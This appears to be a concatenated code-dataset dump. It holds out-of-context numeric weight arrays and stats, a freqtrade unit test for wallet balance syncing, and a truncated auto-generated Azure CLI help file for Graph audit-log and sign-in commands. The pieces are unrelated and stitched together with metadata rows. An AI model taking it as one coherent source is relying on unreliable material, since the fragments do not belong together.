[-0.1509, -1.272, -0.3596, 0.3926, -0.1991], [0.1864, 1.825, -2.43, -0.02383, 0.11945], [0.01866, 0.161, -0.1797, 0.6123, -1.114], [0.0009985, -0.01772, 0.0001247, -0.002245, -0.007267], [-0.1483, 1.365, -0.8027, 0.0886, -0.2452], [0.006504, -1.191, 1.135, -0.2496, 0.0721], [0.3591, -1.241, 0.01246, 0.426, -0.6416], [0.0004787, -0.0001252, -0.003557, -0.01813, -0.001334], [0.04095, -0.5938, 0.6177, 0.0743, -0.252], [-0.02446, -2.299, -0.00677, 0.001064, -0.001707], [-0.4136, 0.1147, 0.004795, 0.1356, -1.117], [-0.3962, 1.565, -1.842, -0.2156, 0.555], [-0.04175, -0.02544, -0.10156, -1.123, 0.01066], [-0.749, -0.01637, -0.005295, -0.00474, -0.3064], [0.1659, 0.911, -0.1628, 0.2069, -0.3], [0.006966, 0.014206, -0.003914, 0.000845, 0.012146], [-0.02655, 0.9272, 0.8984, 0.4604, -0.02449], [-0.0791, -1.193, 0.917, 0.00589, -0.4312], [0.1329, -0.265, 1.368, -0.133, 0.2808], [0.1519, 1.674, -1.663, 0.3174, -0.2335], [-1.454, 0.03525, -0.002062, 0.005424, -0.02849], [-0.1937, -0.00718, -0.149, -1.03, 0.892], [-0.283, -1.448, 1.623, -0.2595, 0.4773], [-0.01538, 1.765, 0.0251, 0.01991, -0.0439]]
[-0.566577, -0.0256695, 0.279092, -0.245648, -0.220425, -0.364112, 0.0912903, -0.407007, -0.477449, -0.480228, -0.400906, -0.204172, 0.457563, -0.152718, -0.609537, -0.117096, -0.0143806, -0.147391, -0.681035, -0.214088, 0.0618373, -0.770082, -0.00147935, 0.117648, 0.162707, -0.21428, -0.348189, 0.0467261, 0.35507, -0.0200982, -0.153916, -0.626693, -0.19466, -0.0228748, 0.136338, 0.00823214, -0.414639, -0.274687, -0.374552, -0.156186, -0.145722, -0.020857, -0.11877, -0.222, 0.0870664, -0.478364, -0.263714, 0.120483, -0.367466, 0.00540317, -0.5664, -0.02567, 0.279, -0.2456, -0.2205, -0.364, 0.0913, -0.407, -0.4775, -0.4802, -0.401, -0.2042, 0.4575, -0.1527, -0.6094, -0.1171, -0.01438, -0.1473, -0.681, -0.2141, 0.06183, -0.77, -0.001479, 0.1177, 0.1627, -0.2142, -0.3481, 0.04672, 0.355, -0.0201, -0.1539, -0.6265, -0.1947, -0.02287, 0.1364, 0.00823, -0.4146, -0.2747, -0.3745, -0.1561, -0.1458, -0.02086, -0.1188, -0.222, 0.08704, -0.4783, -0.2637, 0.1205, -0.3674, 0.0054]
ReLU
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ReLU
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ReLU
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ReLU
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ReLU
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0.00102756, 0.00127156, 0.0100671, -0.00453232, 0.000304894, 0.00242363, 0.0190446, -0.00135286, 0.0212455, 0.00192425, 5.99954e-05, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.004543, 0.00642, 0.00402, 0.00886, -0.002766, -0.00356, 0.00492, 0.01473, 0.004784, -0.005344, -0.01193, -0.07465, 0.00402, -0.1089, 0.014656, 0.00735, -0.0006557, 0.009926, -0.009865, -0.02812, 0.003365, -0.0005403, 0.004166, -0.00423, 0.006996, 0.004364, 0.00516, 0.02258, 0.00939, 0.003475, 0.00789, 0.004406, 0.005337, -0.006092, 0.002567, 0.000489, 0.01297, 0.00593, -0.01038, 0.003881, 0.0367, 0.01012, 0.004078, -0.0091, 0.0075, 0.00012136, -0.012764, 0.01481, -0.005676, 0.002535], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0001559, 0.0002059, -7.6e-05, 0.001204, -0.000944, -0.002903, 0.00078, 0.01509, 0.0007286, -0.0002241, -0.001901, 3.16e-05, 0.01456, -0.05215, 0.01624, -6.37e-05, -0.010124, 0.0001351, 0.000336, -0.0004685, 0.01437, 0.00694, 0.001018, 0.0001748, -0.009224, 0.00546, 0.00586, 0.0005965, 0.00444, 0.0002797, 0.0002342, 0.001536, 0.00101, 0.0009565, 0.02255, -0.0004983, 0.001061, 4.05e-06, -0.0002618, 0.000913, 0.000766, 0.01387, 0.01671, 9.054e-05, -0.00635, -0.001195, -0.02322, 0.01665, 0.001727, 0.0007367], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0003028, 8.4e-06, -3.93e-05, -0.0004635, -0.001124, 0.00973, -0.001189, 0.01079, 9.23e-05, 6.086e-05, 0.002935, 0.007538, -0.01076, 0.01678, 0.01627, -0.000827, -0.002008, -0.0002129, 0.0007687, 0.001432, 0.00805, 0.00821, 0.0003388, 0.0003538, -0.0003576, 0.005436, -0.00035, -0.000782, 0.00957, 0.0006795, -0.0006304, -0.001443, 4.107e-05, 0.0006, -0.003767, 0.007782, -0.001518, -8.374e-05, 0.0005083, -0.000578, -0.001668, 0.00869, -0.003016, 0.0001471, 0.02849, 0.00732, -0.002014, 0.01219, 0.0002366, -0.000365], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.000978, 0.0005403, 8.18e-05, 0.001108, -0.00076, -0.004448, 0.0007863, 0.0138, 0.000649, 0.0002308, -0.00242, -0.006367, 0.01883, -0.04752, 0.01166, -0.0002756, -0.00548, 0.0001588, 0.0002383, -0.0005603, 0.01599, 0.00651, 0.001024, 6.47e-05, -0.010994, 0.00523, 0.00661, 0.0013075, 0.002476, 0.001047, 0.0002269, 0.001402, 0.00044, -0.0002744, 0.02429, -0.000614, 0.001316, 0.0002205, 0.000751, 0.001102, 0.001306, 0.013336, 0.01625, 4.953e-05, -0.005646, -0.002937, -0.02266, 0.01211, 0.000302, 0.0003023], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.000608, 0.0002532, -0.0006156, 0.0001768, 0.00159, -0.00674, 0.0006423, 0.00873, 0.0006967, 0.000822, -0.0008607, -0.002918, -0.00313, -0.04053, 0.01246, -0.001733, 0.02838, -6.54e-05, -5.4e-06, -0.0005336, 0.010895, 0.00808, 0.00199, 0.0004082, 0.01175, 0.005085, -0.0001541, 0.0006633, -0.001114, -0.00025, 0.00075, 0.0003142, 9.46e-05, 0.0001223, -0.00568, 0.02414, 0.001556, -0.0003762, 0.0002773, 0.001027, 0.001271, 0.01007, -0.00453, 0.000305, 0.002424, 0.01904, -0.001353, 0.02124, 0.0019245, 6e-05]]
[-0.0204593, 0.0182197, -0.018345, 0.0186217, -0.0179438, -0.02046, 0.01822, -0.01834, 0.01862, -0.01794]
| 17,322.681818 | 73,291 | 0.54997 | 104,274 | 381,099 | 2.010022 | 0.179738 | 0.485531 | 0.72104 | 0.951768 | 0.246459 | 0.246287 | 0.246287 | 0.246287 | 0.246287 | 0.246287 | 0 | 0.636859 | 0.136754 | 381,099 | 21 | 73,292 | 18,147.571429 | 0.000237 | 0 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
ae2810a2dd0ac9c4cf721c65422fc871991e4969 | 3,089 | py | Python | Software de Trading/tests/test_wallets.py | NatanNMB15/tcc-pytradebot | 52b19251a030ab9c1a1b95157b4d57a9cf6df9dc | [
"MIT"
] | 1 | 2020-05-13T14:12:42.000Z | 2020-05-13T14:12:42.000Z | Software de Trading/tests/test_wallets.py | NatanNMB15/tcc-pytradebot | 52b19251a030ab9c1a1b95157b4d57a9cf6df9dc | [
"MIT"
] | 7 | 2020-02-12T02:58:40.000Z | 2021-06-04T23:24:08.000Z | Software de Trading/tests/test_wallets.py | NatanNMB15/tcc-pytradebot | 52b19251a030ab9c1a1b95157b4d57a9cf6df9dc | [
"MIT"
] | null | null | null | # pragma pylint: disable=missing-docstring
from tests.conftest import get_patched_freqtradebot
from unittest.mock import MagicMock
def test_sync_wallet_at_boot(mocker, default_conf):
default_conf['dry_run'] = False
mocker.patch.multiple(
'freqtrade.exchange.Exchange',
get_balances=MagicMock(return_value={
"BNT": {
"free": 1.0,
"used": 2.0,
"total": 3.0
},
"GAS": {
"free": 0.260739,
"used": 0.0,
"total": 0.260739
},
})
)
freqtrade = get_patched_freqtradebot(mocker, default_conf)
assert len(freqtrade.wallets._wallets) == 2
assert freqtrade.wallets._wallets['BNT'].free == 1.0
assert freqtrade.wallets._wallets['BNT'].used == 2.0
assert freqtrade.wallets._wallets['BNT'].total == 3.0
assert freqtrade.wallets._wallets['GAS'].free == 0.260739
assert freqtrade.wallets._wallets['GAS'].used == 0.0
assert freqtrade.wallets._wallets['GAS'].total == 0.260739
assert freqtrade.wallets.get_free('BNT') == 1.0
mocker.patch.multiple(
'freqtrade.exchange.Exchange',
get_balances=MagicMock(return_value={
"BNT": {
"free": 1.2,
"used": 1.9,
"total": 3.5
},
"GAS": {
"free": 0.270739,
"used": 0.1,
"total": 0.260439
},
})
)
freqtrade.wallets.update()
assert len(freqtrade.wallets._wallets) == 2
assert freqtrade.wallets._wallets['BNT'].free == 1.2
assert freqtrade.wallets._wallets['BNT'].used == 1.9
assert freqtrade.wallets._wallets['BNT'].total == 3.5
assert freqtrade.wallets._wallets['GAS'].free == 0.270739
assert freqtrade.wallets._wallets['GAS'].used == 0.1
assert freqtrade.wallets._wallets['GAS'].total == 0.260439
assert freqtrade.wallets.get_free('GAS') == 0.270739
assert freqtrade.wallets.get_used('GAS') == 0.1
assert freqtrade.wallets.get_total('GAS') == 0.260439
def test_sync_wallet_missing_data(mocker, default_conf):
default_conf['dry_run'] = False
mocker.patch.multiple(
'freqtrade.exchange.Exchange',
get_balances=MagicMock(return_value={
"BNT": {
"free": 1.0,
"used": 2.0,
"total": 3.0
},
"GAS": {
"free": 0.260739,
"total": 0.260739
},
})
)
freqtrade = get_patched_freqtradebot(mocker, default_conf)
assert len(freqtrade.wallets._wallets) == 2
assert freqtrade.wallets._wallets['BNT'].free == 1.0
assert freqtrade.wallets._wallets['BNT'].used == 2.0
assert freqtrade.wallets._wallets['BNT'].total == 3.0
assert freqtrade.wallets._wallets['GAS'].free == 0.260739
assert freqtrade.wallets._wallets['GAS'].used is None
assert freqtrade.wallets._wallets['GAS'].total == 0.260739
assert freqtrade.wallets.get_free('GAS') == 0.260739
| 33.576087 | 62 | 0.58336 | 354 | 3,089 | 4.937853 | 0.155367 | 0.24714 | 0.289474 | 0.298627 | 0.834096 | 0.800343 | 0.778604 | 0.671053 | 0.671053 | 0.671053 | 0 | 0.069705 | 0.275494 | 3,089 | 91 | 63 | 33.945055 | 0.711349 | 0.012949 | 0 | 0.56962 | 0 | 0 | 0.084017 | 0.026584 | 0 | 0 | 0 | 0 | 0.329114 | 1 | 0.025316 | false | 0 | 0.025316 | 0 | 0.050633 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
884a89739caaf6c46be6e844a298a6731039e84c | 61,930 | py | Python | msgraph-cli-extensions/beta/reports_beta/azext_reports_beta/generated/_help.py | thewahome/msgraph-cli | 33127d9efa23a0e5f5303c93242fbdbb73348671 | [
"MIT"
] | null | null | null | msgraph-cli-extensions/beta/reports_beta/azext_reports_beta/generated/_help.py | thewahome/msgraph-cli | 33127d9efa23a0e5f5303c93242fbdbb73348671 | [
"MIT"
] | null | null | null | msgraph-cli-extensions/beta/reports_beta/azext_reports_beta/generated/_help.py | thewahome/msgraph-cli | 33127d9efa23a0e5f5303c93242fbdbb73348671 | [
"MIT"
] | null | null | null | # --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
# pylint: disable=too-many-lines
from knack.help_files import helps
helps['reports_beta'] = '''
type: group
short-summary: Manage Reports
'''
helps['reports audit-log-audit-log-root'] = """
type: group
short-summary: Manage audit log audit log root with reports_beta
"""
helps['reports audit-log-audit-log-root show-audit-log-root'] = """
type: command
short-summary: "Get auditLogs."
"""
helps['reports audit-log-audit-log-root update-audit-log-root'] = """
type: command
short-summary: "Update auditLogs."
parameters:
- name: --restricted-sign-ins
long-summary: |
Usage: --restricted-sign-ins target-tenant-id=XX alternate-sign-in-name=XX app-display-name=XX app-id=XX \
applied-conditional-access-policies=XX authentication-details=XX authentication-methods-used=XX \
authentication-processing-details=XX authentication-requirement=XX authentication-requirement-policies=XX \
client-app-used=XX conditional-access-status=XX correlation-id=XX created-date-time=XX device-detail=XX ip-address=XX \
is-interactive=XX mfa-detail=XX network-location-details=XX original-request-id=XX processing-time-in-milliseconds=XX \
resource-display-name=XX resource-id=XX resource-tenant-id=XX risk-detail=XX risk-event-types=XX \
risk-event-types-v2=XX risk-level-aggregated=XX risk-level-during-sign-in=XX risk-state=XX service-principal-id=XX \
service-principal-name=XX sign-in-event-types=XX status=XX token-issuer-name=XX token-issuer-type=XX user-agent=XX \
user-display-name=XX user-id=XX user-principal-name=XX city=XX country-or-region=XX geo-coordinates=XX state=XX id=XX
app-display-name: App name displayed in the Azure Portal.
app-id: Unique GUID representing the app ID in the Azure Active Directory.
client-app-used: Identifies the legacy client used for sign-in activity. Includes Browser, Exchange \
Active Sync, modern clients, IMAP, MAPI, SMTP, and POP.
correlation-id: The request ID sent from the client when the sign-in is initiated; used to troubleshoot \
sign-in activity.
created-date-time: Date and time (UTC) the sign-in was initiated. Example: midnight on Jan 1, 2014 is \
reported as '2014-01-01T00:00:00Z'.
device-detail: deviceDetail
ip-address: IP address of the client used to sign in.
is-interactive: Indicates if a sign-in is interactive or not.
mfa-detail: mfaDetail
resource-display-name: Name of the resource the user signed into.
resource-id: ID of the resource that the user signed into.
risk-event-types: Risk event types associated with the sign-in. The possible values are: unlikelyTravel, \
anonymizedIPAddress, maliciousIPAddress, unfamiliarFeatures, malwareInfectedIPAddress, suspiciousIPAddress, \
leakedCredentials, investigationsThreatIntelligence, generic, and unknownFutureValue.
risk-event-types-v2: The list of risk event types associated with the sign-in. Possible values: \
unlikelyTravel, anonymizedIPAddress, maliciousIPAddress, unfamiliarFeatures, malwareInfectedIPAddress, \
suspiciousIPAddress, leakedCredentials, investigationsThreatIntelligence, generic, or unknownFutureValue.
status: signInStatus
user-display-name: Display name of the user that initiated the sign-in.
user-id: ID of the user that initiated the sign-in.
user-principal-name: User principal name of the user that initiated the sign-in.
city: Provides the city where the sign-in originated. This is calculated using latitude/longitude \
information from the sign-in activity.
country-or-region: Provides the country code info (2 letter code) where the sign-in originated. This is \
calculated using latitude/longitude information from the sign-in activity.
geo-coordinates: geoCoordinates
state: Provides the State where the sign-in originated. This is calculated using latitude/longitude \
information from the sign-in activity.
id: Read-only.
Multiple actions can be specified by using more than one --restricted-sign-ins argument.
"""
helps['reports audit-log'] = """
type: group
short-summary: Manage audit log with reports_beta
"""
helps['reports audit-log create-directory-audit'] = """
type: command
short-summary: "Create new navigation property to directoryAudits for auditLogs."
parameters:
- name: --additional-details
short-summary: "Indicates additional details on the activity."
long-summary: |
Usage: --additional-details key=XX value=XX
key: Key for the key-value pair.
value: Value for the key-value pair.
Multiple actions can be specified by using more than one --additional-details argument.
- name: --app
short-summary: "appIdentity"
long-summary: |
Usage: --app app-id=XX display-name=XX service-principal-id=XX service-principal-name=XX
app-id: Refers to the Unique GUID representing Application Id in the Azure Active Directory.
display-name: Refers to the Application Name displayed in the Azure Portal.
service-principal-id: Refers to the Unique GUID indicating Service Principal Id in Azure Active Directory \
for the corresponding App.
service-principal-name: Refers to the Service Principal Name is the Application name in the tenant.
- name: --user
short-summary: "userIdentity"
long-summary: |
Usage: --user ip-address=XX user-principal-name=XX display-name=XX id=XX
ip-address: Indicates the client IP address used by user performing the activity (audit log only).
user-principal-name: The userPrincipalName attribute of the user.
display-name: The identity's display name. Note that this may not always be available or up to date. For \
example, if a user changes their display name, the API may show the new value in a future response, but the items \
associated with the user won't show up as having changed when using delta.
id: Unique identifier for the identity.
"""
helps['reports audit-log create-directory-provisioning'] = """
type: command
short-summary: "Create new navigation property to directoryProvisioning for auditLogs."
parameters:
- name: --initiated-by
short-summary: "initiator"
long-summary: |
Usage: --initiated-by display-name=XX id=XX initiator-type=XX
- name: --modified-properties
long-summary: |
Usage: --modified-properties display-name=XX new-value=XX old-value=XX
display-name: Indicates the property name of the target attribute that was changed.
new-value: Indicates the updated value for the propery.
old-value: Indicates the previous value (before the update) for the property.
Multiple actions can be specified by using more than one --modified-properties argument.
- name: --service-principal
short-summary: "provisioningServicePrincipal"
long-summary: |
Usage: --service-principal display-name=XX id=XX
display-name: The identity's display name. Note that this may not always be available or up to date. For \
example, if a user changes their display name, the API may show the new value in a future response, but the items \
associated with the user won't show up as having changed when using delta.
id: Unique identifier for the identity.
"""
helps['reports audit-log create-provisioning'] = """
type: command
short-summary: "Create new navigation property to provisioning for auditLogs."
parameters:
- name: --initiated-by
short-summary: "initiator"
long-summary: |
Usage: --initiated-by display-name=XX id=XX initiator-type=XX
- name: --modified-properties
long-summary: |
Usage: --modified-properties display-name=XX new-value=XX old-value=XX
display-name: Indicates the property name of the target attribute that was changed.
new-value: Indicates the updated value for the propery.
old-value: Indicates the previous value (before the update) for the property.
Multiple actions can be specified by using more than one --modified-properties argument.
- name: --service-principal
short-summary: "provisioningServicePrincipal"
long-summary: |
Usage: --service-principal display-name=XX id=XX
display-name: The identity's display name. Note that this may not always be available or up to date. For \
example, if a user changes their display name, the API may show the new value in a future response, but the items \
associated with the user won't show up as having changed when using delta.
id: Unique identifier for the identity.
"""
helps['reports audit-log create-restricted-sign-in'] = """
type: command
short-summary: "Create new navigation property to restrictedSignIns for auditLogs."
parameters:
- name: --applied-conditional-access-policies
long-summary: |
Usage: --applied-conditional-access-policies conditions-not-satisfied=XX conditions-satisfied=XX \
display-name=XX enforced-grant-controls=XX enforced-session-controls=XX id=XX result=XX
display-name: Refers to the Name of the conditional access policy (example: 'Require MFA for Salesforce').
enforced-grant-controls: Refers to the grant controls enforced by the conditional access policy (example: \
'Require multi-factor authentication').
enforced-session-controls: Refers to the session controls enforced by the conditional access policy \
(example: 'Require app enforced controls').
id: Unique GUID of the conditional access policy.
Multiple actions can be specified by using more than one --applied-conditional-access-policies argument.
- name: --authentication-details
long-summary: |
Usage: --authentication-details authentication-method=XX authentication-method-detail=XX \
authentication-step-date-time=XX authentication-step-requirement=XX authentication-step-result-detail=XX succeeded=XX
Multiple actions can be specified by using more than one --authentication-details argument.
- name: --authentication-processing-details
long-summary: |
Usage: --authentication-processing-details key=XX value=XX
key: Key for the key-value pair.
value: Value for the key-value pair.
Multiple actions can be specified by using more than one --authentication-processing-details argument.
- name: --authentication-requirement-policies
long-summary: |
Usage: --authentication-requirement-policies detail=XX requirement-provider=XX
Multiple actions can be specified by using more than one --authentication-requirement-policies argument.
- name: --device-detail
short-summary: "deviceDetail"
long-summary: |
Usage: --device-detail browser=XX browser-id=XX device-id=XX display-name=XX is-compliant=XX is-managed=XX \
operating-system=XX trust-type=XX
browser: Indicates the browser information of the used for signing in.
device-id: Refers to the UniqueID of the device used for signing in.
display-name: Refers to the name of the device used for signing in.
is-compliant: Indicates whether the device is compliant.
is-managed: Indicates whether the device is managed.
operating-system: Indicates the operating system name and version used for signing in.
trust-type: Provides information about whether the signed-in device is Workplace Joined, AzureAD Joined, \
Domain Joined.
- name: --mfa-detail
short-summary: "mfaDetail"
long-summary: |
Usage: --mfa-detail auth-detail=XX auth-method=XX
- name: --network-location-details
long-summary: |
Usage: --network-location-details network-names=XX network-type=XX
Multiple actions can be specified by using more than one --network-location-details argument.
- name: --status
short-summary: "signInStatus"
long-summary: |
Usage: --status additional-details=XX error-code=XX failure-reason=XX
additional-details: Provides additional details on the sign-in activity
error-code: Provides the 5-6digit error code that's generated during a sign-in failure. Check out the list \
of error codes and messages.
failure-reason: Provides the error message or the reason for failure for the corresponding sign-in \
activity. Check out the list of error codes and messages.
- name: --geo-coordinates
short-summary: "geoCoordinates"
long-summary: |
Usage: --geo-coordinates altitude=XX latitude=XX longitude=XX
altitude: Optional. The altitude (height), in feet, above sea level for the item. Read-only.
latitude: Optional. The latitude, in decimal, for the item. Read-only.
longitude: Optional. The longitude, in decimal, for the item. Read-only.
"""
helps['reports audit-log create-sign-in'] = """
type: command
short-summary: "Create new navigation property to signIns for auditLogs."
parameters:
- name: --applied-conditional-access-policies
long-summary: |
Usage: --applied-conditional-access-policies conditions-not-satisfied=XX conditions-satisfied=XX \
display-name=XX enforced-grant-controls=XX enforced-session-controls=XX id=XX result=XX
display-name: Refers to the Name of the conditional access policy (example: 'Require MFA for Salesforce').
enforced-grant-controls: Refers to the grant controls enforced by the conditional access policy (example: \
'Require multi-factor authentication').
enforced-session-controls: Refers to the session controls enforced by the conditional access policy \
(example: 'Require app enforced controls').
id: Unique GUID of the conditional access policy.
Multiple actions can be specified by using more than one --applied-conditional-access-policies argument.
- name: --authentication-details
long-summary: |
Usage: --authentication-details authentication-method=XX authentication-method-detail=XX \
authentication-step-date-time=XX authentication-step-requirement=XX authentication-step-result-detail=XX succeeded=XX
Multiple actions can be specified by using more than one --authentication-details argument.
- name: --authentication-processing-details
long-summary: |
Usage: --authentication-processing-details key=XX value=XX
key: Key for the key-value pair.
value: Value for the key-value pair.
Multiple actions can be specified by using more than one --authentication-processing-details argument.
- name: --authentication-requirement-policies
long-summary: |
Usage: --authentication-requirement-policies detail=XX requirement-provider=XX
Multiple actions can be specified by using more than one --authentication-requirement-policies argument.
- name: --device-detail
short-summary: "deviceDetail"
long-summary: |
Usage: --device-detail browser=XX browser-id=XX device-id=XX display-name=XX is-compliant=XX is-managed=XX \
operating-system=XX trust-type=XX
browser: Indicates the browser information of the used for signing in.
device-id: Refers to the UniqueID of the device used for signing in.
display-name: Refers to the name of the device used for signing in.
is-compliant: Indicates whether the device is compliant.
is-managed: Indicates whether the device is managed.
operating-system: Indicates the operating system name and version used for signing in.
trust-type: Provides information about whether the signed-in device is Workplace Joined, AzureAD Joined, \
Domain Joined.
- name: --mfa-detail
short-summary: "mfaDetail"
long-summary: |
Usage: --mfa-detail auth-detail=XX auth-method=XX
- name: --network-location-details
long-summary: |
Usage: --network-location-details network-names=XX network-type=XX
Multiple actions can be specified by using more than one --network-location-details argument.
- name: --status
short-summary: "signInStatus"
long-summary: |
Usage: --status additional-details=XX error-code=XX failure-reason=XX
additional-details: Provides additional details on the sign-in activity
error-code: Provides the 5-6digit error code that's generated during a sign-in failure. Check out the list \
of error codes and messages.
failure-reason: Provides the error message or the reason for failure for the corresponding sign-in \
activity. Check out the list of error codes and messages.
- name: --geo-coordinates
short-summary: "geoCoordinates"
long-summary: |
Usage: --geo-coordinates altitude=XX latitude=XX longitude=XX
altitude: Optional. The altitude (height), in feet, above sea level for the item. Read-only.
latitude: Optional. The latitude, in decimal, for the item. Read-only.
longitude: Optional. The longitude, in decimal, for the item. Read-only.
"""
helps['reports audit-log delete-directory-audit'] = """
type: command
short-summary: "Delete navigation property directoryAudits for auditLogs."
"""
helps['reports audit-log delete-directory-provisioning'] = """
type: command
short-summary: "Delete navigation property directoryProvisioning for auditLogs."
"""
helps['reports audit-log delete-provisioning'] = """
type: command
short-summary: "Delete navigation property provisioning for auditLogs."
"""
helps['reports audit-log delete-restricted-sign-in'] = """
type: command
short-summary: "Delete navigation property restrictedSignIns for auditLogs."
"""
helps['reports audit-log delete-sign-in'] = """
type: command
short-summary: "Delete navigation property signIns for auditLogs."
"""
helps['reports audit-log list-directory-audit'] = """
type: command
short-summary: "Get directoryAudits from auditLogs."
"""
helps['reports audit-log list-directory-provisioning'] = """
type: command
short-summary: "Get directoryProvisioning from auditLogs."
"""
helps['reports audit-log list-provisioning'] = """
type: command
short-summary: "Get provisioning from auditLogs."
"""
helps['reports audit-log list-restricted-sign-in'] = """
type: command
short-summary: "Get restrictedSignIns from auditLogs."
"""
helps['reports audit-log list-sign-in'] = """
type: command
short-summary: "Get signIns from auditLogs."
"""
helps['reports audit-log show-directory-audit'] = """
type: command
short-summary: "Get directoryAudits from auditLogs."
"""
helps['reports audit-log show-directory-provisioning'] = """
type: command
short-summary: "Get directoryProvisioning from auditLogs."
"""
helps['reports audit-log show-provisioning'] = """
type: command
short-summary: "Get provisioning from auditLogs."
"""
helps['reports audit-log show-restricted-sign-in'] = """
type: command
short-summary: "Get restrictedSignIns from auditLogs."
"""
helps['reports audit-log show-sign-in'] = """
type: command
short-summary: "Get signIns from auditLogs."
"""
helps['reports audit-log update-directory-audit'] = """
type: command
short-summary: "Update the navigation property directoryAudits in auditLogs."
parameters:
- name: --additional-details
short-summary: "Indicates additional details on the activity."
long-summary: |
Usage: --additional-details key=XX value=XX
key: Key for the key-value pair.
value: Value for the key-value pair.
Multiple actions can be specified by using more than one --additional-details argument.
- name: --app
short-summary: "appIdentity"
long-summary: |
Usage: --app app-id=XX display-name=XX service-principal-id=XX service-principal-name=XX
app-id: Refers to the Unique GUID representing Application Id in the Azure Active Directory.
display-name: Refers to the Application Name displayed in the Azure Portal.
service-principal-id: Refers to the Unique GUID indicating Service Principal Id in Azure Active Directory \
for the corresponding App.
service-principal-name: Refers to the Service Principal Name is the Application name in the tenant.
- name: --user
short-summary: "userIdentity"
long-summary: |
Usage: --user ip-address=XX user-principal-name=XX display-name=XX id=XX
ip-address: Indicates the client IP address used by user performing the activity (audit log only).
user-principal-name: The userPrincipalName attribute of the user.
display-name: The identity's display name. Note that this may not always be available or up to date. For \
example, if a user changes their display name, the API may show the new value in a future response, but the items \
associated with the user won't show up as having changed when using delta.
id: Unique identifier for the identity.
"""
helps['reports audit-log update-directory-provisioning'] = """
type: command
short-summary: "Update the navigation property directoryProvisioning in auditLogs."
parameters:
- name: --initiated-by
short-summary: "initiator"
long-summary: |
Usage: --initiated-by display-name=XX id=XX initiator-type=XX
- name: --modified-properties
long-summary: |
Usage: --modified-properties display-name=XX new-value=XX old-value=XX
display-name: Indicates the property name of the target attribute that was changed.
new-value: Indicates the updated value for the propery.
old-value: Indicates the previous value (before the update) for the property.
Multiple actions can be specified by using more than one --modified-properties argument.
- name: --service-principal
short-summary: "provisioningServicePrincipal"
long-summary: |
Usage: --service-principal display-name=XX id=XX
display-name: The identity's display name. Note that this may not always be available or up to date. For \
example, if a user changes their display name, the API may show the new value in a future response, but the items \
associated with the user won't show up as having changed when using delta.
id: Unique identifier for the identity.
"""
helps['reports audit-log update-provisioning'] = """
type: command
short-summary: "Update the navigation property provisioning in auditLogs."
parameters:
- name: --initiated-by
short-summary: "initiator"
long-summary: |
Usage: --initiated-by display-name=XX id=XX initiator-type=XX
- name: --modified-properties
